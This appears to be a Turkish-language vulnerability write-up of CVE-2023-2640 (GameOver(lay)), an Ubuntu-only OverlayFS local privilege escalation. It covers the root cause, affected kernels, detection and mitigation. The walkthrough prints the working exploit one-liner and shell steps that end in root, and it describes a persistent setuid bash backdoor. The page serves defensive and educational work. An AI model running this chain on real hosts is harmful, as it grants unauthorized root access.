Skip to content

overlayfs GameOver(lay) LPE (CVE-2023-2640)

Sadece Ubuntu'yu etkileyen bir OverlayFS bug'ı: unprivileged bir kullanıcı, user-namespace içindeki bir overlay mount'ta bir dosyaya security.capability xattr'ı (örn. cap_setuid) set eder ve copy-up bunu upper dosyaya unscoped şekilde taşır; çünkü Ubuntu'nun ovl_do_setxattr'ı namespace-scoping permission check'lerini atlar.

Mechanism

Neden çalışır

CVE-2023-2640, Wiz Research tarafından keşfedilen GameOver(lay)'in iki yarısından biri (diğeri CVE-2023-32629). Bu upstream bir Linux bug'ı değil — yalnızca Ubuntu, OverlayFS'e mainline'dan sapan downstream ("SAUCE") patch'ler taşıdığı için var.

İki bileşen birleşiyor:

  1. Ubuntu, overlay'i unprivileged user namespace'lerde mount edilebilir yapıyor. CVE-2021-3493'te olduğu gibi, Ubuntu unprivileged bir kullanıcının (namespace-local) CAP_SYS_ADMIN ve CAP_SETFCAP tuttuğu bir user namespace içinde OverlayFS mount etmesine olanak ekledi.

  2. Ubuntu'nun copy-up'ı xattr'ları yeniden scope'lamadan yazıyor. Copy-up bir dosyanın extended attribute'larını duplicate ederken, Ubuntu'nun ovl_copy_xattr yolu ovl_do_setxattr'ı çağırır ve bu Ubuntu kernel'lerinde standart vfs_setxattr yerine __vfs_setxattr_noperm'e resolve olur. Fark belirleyici: vfs_setxattr, bir security.capability blob'unu namespace-rooted bir forma çeviren ve yazan tarafın hedef inode'un user namespace'i üzerinde CAP_SETFCAP tuttuğunu enforce eden cap_convert_nscap'i çalıştırır. _noperm varyantı ise capability blob'unu olduğu gibi kopyalar, hiçbir conversion ve permission check olmadan.

Dolayısıyla exploit şu: bir user namespace'e gir, lower layer'daki bir dosyaya gerçek bir security.capability (örneğin cap_setuid+eip) ekle, overlay'i mount et ve copy-up'ı tetikle. Capability upper dosyaya unscoped yazılır — yani init user namespace'inde geçerli. Upper dosya host'ta normal bir filesystem üzerinde durduğundan, artık capability'li olan binary namespace dışında çalıştırıldığında setuid(0) çağırabilir.

Bunun özellikle Ubuntu'da latent olmasının sebebi: Ubuntu'nun __vfs_setxattr_noperm yolu, vfs_setxattr'ı sıkılaştıran Aralık-2020 upstream hardening'inden (CVE-2021-3493'ü de fix'leyen aynı hardening) önce gelir. Ubuntu'nun private yolu o fix'i hiç almadı ve deliği yeniden açtı.

İki CVE = aynı bug'ın iki copy-up sink'i. GameOver(lay) tek bir bulgu olmasına rağmen iki CVE ID taşır; çünkü güvensiz ovl_do_setxattr write'ına iki ayrı copy-up code path'inden ulaşılır:

  • CVE-2023-2640 — sıradan tam copy-up xattr path'i (ovl_copy_xattr).
  • CVE-2023-32629metacopy=on iken yalnızca inode metadata'sını (owner/mode/xattr) taşıyan metadata-only path (ovl_copy_up_meta_inode_data). metacopy etkinken OverlayFS önce yalnız metadata'yı copy-up eder ve data'yı ilk yazmada lazy bırakır; bu metadata kopyası security.capability'yi içerdiği ve aynı güvensiz sink'e gittiği için capability yeniden scope'lanmadan propagate olur.

Her iki path de aynı kök kusurun ifadesidir ve aynı one-liner ile trigger edilebilir.

Walkthrough

Yayımlanmış kanonik one-liner (ProjectDiscovery / Nuclei template formu):

unshare -rm sh -c "mkdir -p l u w m && cp test l/ && \
  setcap cap_setuid+eip l/test && \
  mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && \
  touch m/test && u/test && id;"

Adım adım:

  1. unshare -rm, yeni bir user namespace (içeride çağıranı uid 0'a map'leyerek) ve yeni bir mount namespace oluşturur; böylece unprivileged kullanıcı OverlayFS mount edip setcap kullanabilir.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ unshare -rm   # now euid 0 *inside* the namespace only
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
  1. Layout'u oluştur ve lower layer'ı zararsız bir binary'nin (test) kopyasıyla doldur, ardından ona gerçek bir file capability ekle:
# mkdir -p l u w m
# cp test l/
# setcap cap_setuid+eip l/test
# getcap l/test
l/test cap_setuid=eip
  1. Overlay'i l lower, u upper, w work olacak şekilde mount et:
# mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m
  1. Dosyayı merged mount üzerinden değiştirerek copy-up'ı tetikle. Upper kopya capability'yi inherit eder, ama unscoped (init-ns'te geçerli) olarak; çünkü _noperm xattr write'ı cap_convert_nscap'i hiç çalıştırmadı:
# touch m/test
# getcap u/test
u/test cap_setuid=eip
  1. u/test, host filesystem'i üzerinde durur. setuid(0) çağıracak şekilde derlenmiş bir binary artık gerçek root olarak başarılı olur:
# u/test       # payload: setuid(0); execve("/bin/sh")
# id
uid=0(root) gid=0(root) groups=0(root)

Tam weaponize edilmiş bir PoC (g1vi) ise bunun yerine cap_setuid+eip ile setuid bir Python interpreter düşürür ve python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' çalıştırır, ardından kalıcı bir setuid /var/tmp/bash yazar.

Etkilenen sürümler

Ubuntu'ya özgü (ve bazı downstream'ler, örn. bazı Kali build'leri). Özellikle Ubuntu 23.04 (kernel 6.2.0), 22.10 (5.19.0), 22.04 LTS (5.19.0, 6.2.0), ayrıca SAUCE OverlayFS xattr patch'lerini taşıyan daha eski seriler; 5.4.0 etkilenir, ancak 22.04 üzerindeki 5.15.0 CVE-2023-2640'tan etkilenmez. 2023-07-24'te yayınlanan Ubuntu kernel'lerinde patch'lendi. Ubuntu olmayan / mainline kernel'ler __vfs_setxattr_noperm kısayolunu kullanmadığından bu CVE'lerden etkilenmez.

Detection

  • Unprivileged bir process'in unshare -r/unshare -rm çalıştırmasının hemen ardından mount -t overlay ve lower dosyada bir setcap/setxattr gelmesi.
  • User-writable bir overlay upperdir'inde bir dosyanın security.capability xattr'ı (özellikle cap_setuid, cap_setfcap, cap_sys_admin) kazanması.
  • File capability'leri olan bir dosyanın non-root bir kullanıcı tarafından execve edilmesi ve ardından setuid(0) gelmesi.

Mitigation

  • Overlay copy-up xattr yolunda permission/scoping check'ini yeniden ekleyen Ubuntu kernel'lerine güncelle (GameOver(lay) CVE'leri için USN advisory'leri).
  • Exploit'in dayandığı unprivileged user-namespace mount'unu engellemek için kernel.unprivileged_userns_clone=0 (veya daha yeni Ubuntu'da kernel.apparmor_restrict_unprivileged_userns=1) set et.
  • Container profile'larında mount/setcap'i seccomp/AppArmor ile kısıtla.

References